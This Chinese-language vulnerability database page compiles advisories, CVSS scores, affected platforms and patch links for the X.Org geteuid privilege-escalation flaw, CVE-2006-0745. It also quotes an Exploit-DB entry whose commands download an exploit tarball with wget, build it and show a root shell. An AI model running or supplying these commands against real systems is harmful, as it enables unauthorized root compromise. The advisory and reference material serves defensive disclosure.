CVE-2006-0745
CVSS7.2
发布时间 :2006-03-20 21:06:00
修订时间 :2011-03-07 21:30:44
NMCOES    

[原文]X.Org server (xorg-server) 1.0.0 and later, X11R6.9.0, and X11R7.0 inadvertently treats the address of the geteuid function as if it is the return value of a call to geteuid, which allows local users to bypass intended restrictions and (1) execute arbitrary code via the -modulepath command line option or (2) overwrite arbitrary files via -logfile.


[CNNVD]X.Org X Window Server本地权限提升漏洞(CNNVD-200603-341)

        Xorg X Server是Solaris x86平台上可用的X窗口系统显示服务器之一。
        Xorg X Server实现上存在设计错误,本地攻击者可能利用此漏洞提升自己的权限。
        在解析参数时,X Server检查了只有root用户才可以传送-modulepath和-logfile选项。这两个选项分别用于判断模块加载和日志文件的位置,正常情况下非特权用户无法更改这些位置。但上述检查只测试了geteuid函数的地址而不是函数结果本身,因此如果geteuid()的地址不是0的话,非特权用户就可以以root权限在文件系统中的任意位置加载模块,或用服务器日志覆盖重要的系统文件。

- CVSS (基础分值)

CVSS分值: 7.2 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/a:x.org:x11r7:1.0
cpe:/o:suse:suse_linux:10.0::oss
cpe:/o:sun:solaris:10.0::x86
cpe:/o:redhat:fedora_core:core_5.0
cpe:/o:mandrakesoft:mandrake_linux:2006MandrakeSoft Mandrake Linux 2006.0
cpe:/a:x.org:x11r7:1.0.1
cpe:/o:mandrakesoft:mandrake_linux:2006::x86_64
cpe:/a:x.org:x11r6:6.9

- OVAL (用于检测的技术细节)

oval:org.mitre.oval:def:1697X.Org Privilege Escalation Vulnerability in X11R6.9, X11R7.0
*OVAL详细的描述了检测该漏洞的方法,你可以从相关的OVAL定义中找到更多检测该漏洞的技术细节。

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0745
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2006-0745
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200603-341
(官方数据源) CNNVD

- 其它链接及资源

http://www.securityfocus.com/bid/17169
(PATCH)  BID  17169
http://www.securityfocus.com/archive/1/archive/1/428183/100/0/threaded
(PATCH)  BUGTRAQ  20060320 [CVE-2006-0745] X.Org Security Advisory: privilege escalation and DoS in X11R6.9, X11R7.0
http://www.vupen.com/english/advisories/2006/1028
(UNKNOWN)  VUPEN  ADV-2006-1028
http://www.vupen.com/english/advisories/2006/1017
(UNKNOWN)  VUPEN  ADV-2006-1017
http://www.securityfocus.com/archive/1/archive/1/428230/100/0/threaded
(UNKNOWN)  BUGTRAQ  20060320 Re: [CVE-2006-0745] X.Org Security Advisory: privilege escalation and DoS in X11R6.9, X11R7.0
http://xforce.iss.net/xforce/xfdb/25341
(UNKNOWN)  XF  xorg-geteuid-privilege-escalation(25341)
http://www.redhat.com/archives/fedora-announce-list/2006-March/msg00026.html
(UNKNOWN)  FEDORA  FEDORA-2006-172
http://www.osvdb.org/24001
(UNKNOWN)  OSVDB  24001
http://www.osvdb.org/24000
(UNKNOWN)  OSVDB  24000
http://www.novell.com/linux/security/advisories/2006_16_xorgx11server.html
(UNKNOWN)  SUSE  SUSE-SA:2006:016
http://www.mandriva.com/security/advisories?name=MDKSA-2006:056
(UNKNOWN)  MANDRIVA  MDKSA-2006:056
http://support.avaya.com/elmodocs2/security/ASA-2006-078.htm
(UNKNOWN)  CONFIRM  http://support.avaya.com/elmodocs2/security/ASA-2006-078.htm
http://sunsolve.sun.com/search/document.do?assetkey=1-26-102252-1
(UNKNOWN)  SUNALERT  102252
http://securitytracker.com/id?1015793
(UNKNOWN)  SECTRACK  1015793
http://securityreason.com/securityalert/606
(UNKNOWN)  SREASON  606
http://secunia.com/advisories/19676
(UNKNOWN)  SECUNIA  19676
http://secunia.com/advisories/19316
(UNKNOWN)  SECUNIA  19316
http://secunia.com/advisories/19311
(UNKNOWN)  SECUNIA  19311
http://secunia.com/advisories/19307
(UNKNOWN)  SECUNIA  19307
http://secunia.com/advisories/19256
(UNKNOWN)  SECUNIA  19256

- 漏洞信息

X.Org X Window Server本地权限提升漏洞
高危 访问验证错误
2006-03-20 00:00:00 2006-03-23 00:00:00
本地  
        Xorg X Server是Solaris x86平台上可用的X窗口系统显示服务器之一。
        Xorg X Server实现上存在设计错误,本地攻击者可能利用此漏洞提升自己的权限。
        在解析参数时,X Server检查了只有root用户才可以传送-modulepath和-logfile选项。这两个选项分别用于判断模块加载和日志文件的位置,正常情况下非特权用户无法更改这些位置。但上述检查只测试了geteuid函数的地址而不是函数结果本身,因此如果geteuid()的地址不是0的话,非特权用户就可以以root权限在文件系统中的任意位置加载模块,或用服务器日志覆盖重要的系统文件。

- 公告与补丁

        目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
        X.org x11r6.9.0-geteuid.diff
        http://xorg.freedesktop.org/releases/X11R6.9.0/patches/
        X.org xorg-server-1.0.2.tar.gz
        http://xorg.freedesktop.org/releases/individual/xserver/

- 漏洞信息 (1596)

X.Org X11 (X11R6.9.0/X11R7.0) Local Root Privilege Escalation Exploit (EDBID:1596)
linux local
2006-03-20 Verified
0 H D Moore
N/A [点击下载]
# From Daniel Stone's Advisory
# xorg-server 1.0.0, as shipped with X11R7.0, and all release candidates
# of X11R7.0, is vulnerable.
# X11R6.9.0, and all release candidates, are vulnerable.
# X11R6.8.2 and earlier versions are not vulnerable. 

# The rest is H D Moore from metasploit

Two second exploit, but if anyone is lazy:

$ wget http://metasploit.com/users/hdm/tools/xmodulepath.tgz
$ tar -zpxvf xmodulepath.tgz
$ cd xmodulepath
$ ./root.sh
/bin/rm -f   exploit.o exploit.so shell *.o *.so
gcc -fPIC -c exploit.c
gcc -shared -nostdlib exploit.o -o exploit.so
gcc -o shell shell.c

X Window System Version 7.0.0
Release Date: 21 December 2005
X Protocol Version 11, Revision 0, Release 7.0
[ snip ]
r00t # id
uid=0(root) gid=100(users) groups=10(wheel),18(audio)...

# backup: http://www.exploit-db.com/sploits/xmodulepath.tgz

# milw0rm.com [2006-03-20]
		

- 漏洞信息

24000
X.Org X Window System (X11) / X.Org Server -modulepath Parameter Privileged Code Execution
Local Access Required Input Manipulation
Loss of Integrity
Exploit Public

- 漏洞描述

Freedesktop.org Xorg server contains a flaw that may allow a malicious user to gain access to unauthorized privileges. The issue is triggered when the xorg server does not properly verify the user id of the user allowing non root users access to the -modulepath parameter allowing them to execute arbitrary code on the system. This flaw may lead to a loss of Integrity.

- 时间线

2006-03-20 Unknow
2006-03-20 Unknow

- 解决方案

Upgrade to version 1.0.2 or higher, as it has been reported to fix this vulnerability. In addition, freedesktop.org has released a patch for some older versions.

- 相关参考

- 漏洞作者

- 漏洞信息

X.Org X Window Server Local Privilege Escalation Vulnerability
Access Validation Error 17169
No Yes
2006-03-20 12:00:00 2007-11-03 12:06:00
This issue was discovered through use of the Coverity Prevent code audit tool and was disclosed by the vendor.

- 受影响的程序版本

X.org X11R7 1.0.1
+ Mandriva Linux Mandrake 10.2 x86_64
+ Mandriva Linux Mandrake 10.2
+ Ubuntu Ubuntu Linux 5.0 4 powerpc
+ Ubuntu Ubuntu Linux 5.0 4 i386
+ Ubuntu Ubuntu Linux 5.0 4 amd64
X.org X11R7 1.0
+ Mandriva Linux Mandrake 10.2 x86_64
+ Mandriva Linux Mandrake 10.2
+ Ubuntu Ubuntu Linux 5.0 4 powerpc
+ Ubuntu Ubuntu Linux 5.0 4 i386
+ Ubuntu Ubuntu Linux 5.0 4 amd64
X.org X11R6 6.9
+ Mandriva Linux Mandrake 10.2 x86_64
+ Mandriva Linux Mandrake 10.2
+ Ubuntu Ubuntu Linux 5.0 4 powerpc
+ Ubuntu Ubuntu Linux 5.0 4 i386
+ Ubuntu Ubuntu Linux 5.0 4 amd64
Turbolinux Turbolinux Server 10.0 x86
Turbolinux Turbolinux Server 10.0
Turbolinux Turbolinux Desktop 10.0
Turbolinux Turbolinux 10 F...
TurboLinux Personal
TurboLinux Multimedia
Turbolinux Home
Sun Solaris 10.0_x86
S.u.S.E. Linux Professional 10.0 OSS
S.u.S.E. Linux Personal 10.0 OSS
Red Hat Fedora Core5
Mandriva Linux Mandrake 2006.0 x86_64
Mandriva Linux Mandrake 2006.0
X.org X11R7 1.0.2
+ Mandriva Linux Mandrake 10.2 x86_64
+ Mandriva Linux Mandrake 10.2
+ Ubuntu Ubuntu Linux 5.0 4 powerpc
+ Ubuntu Ubuntu Linux 5.0 4 i386
+ Ubuntu Ubuntu Linux 5.0 4 amd64

- 不受影响的程序版本

X.org X11R7 1.0.2
+ Mandriva Linux Mandrake 10.2 x86_64
+ Mandriva Linux Mandrake 10.2
+ Ubuntu Ubuntu Linux 5.0 4 powerpc
+ Ubuntu Ubuntu Linux 5.0 4 i386
+ Ubuntu Ubuntu Linux 5.0 4 amd64

- 漏洞讨论

The X.Org X Window server is prone to a privilege-escalation vulnerability.

A local attacker can exploit this issue to load arbitrary modules and execute them or overwrite arbitrary files with superuser privileges. This may facilitate a complete compromise of the affected computer.

- 漏洞利用

UPDATE: Core Security Technologies has developed a working commercial exploit for its CORE IMPACT product. This exploit is not otherwise publicly available or known to be circulating in the wild.

The following exploit is available:

- 解决方案

X.Org has released updates to address this issue.

Please see the referenced vendor advisories for more information.


X.org X11R7 1.0

X.org X11R7 1.0.1

X.org X11R6 6.9

- 相关参考

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站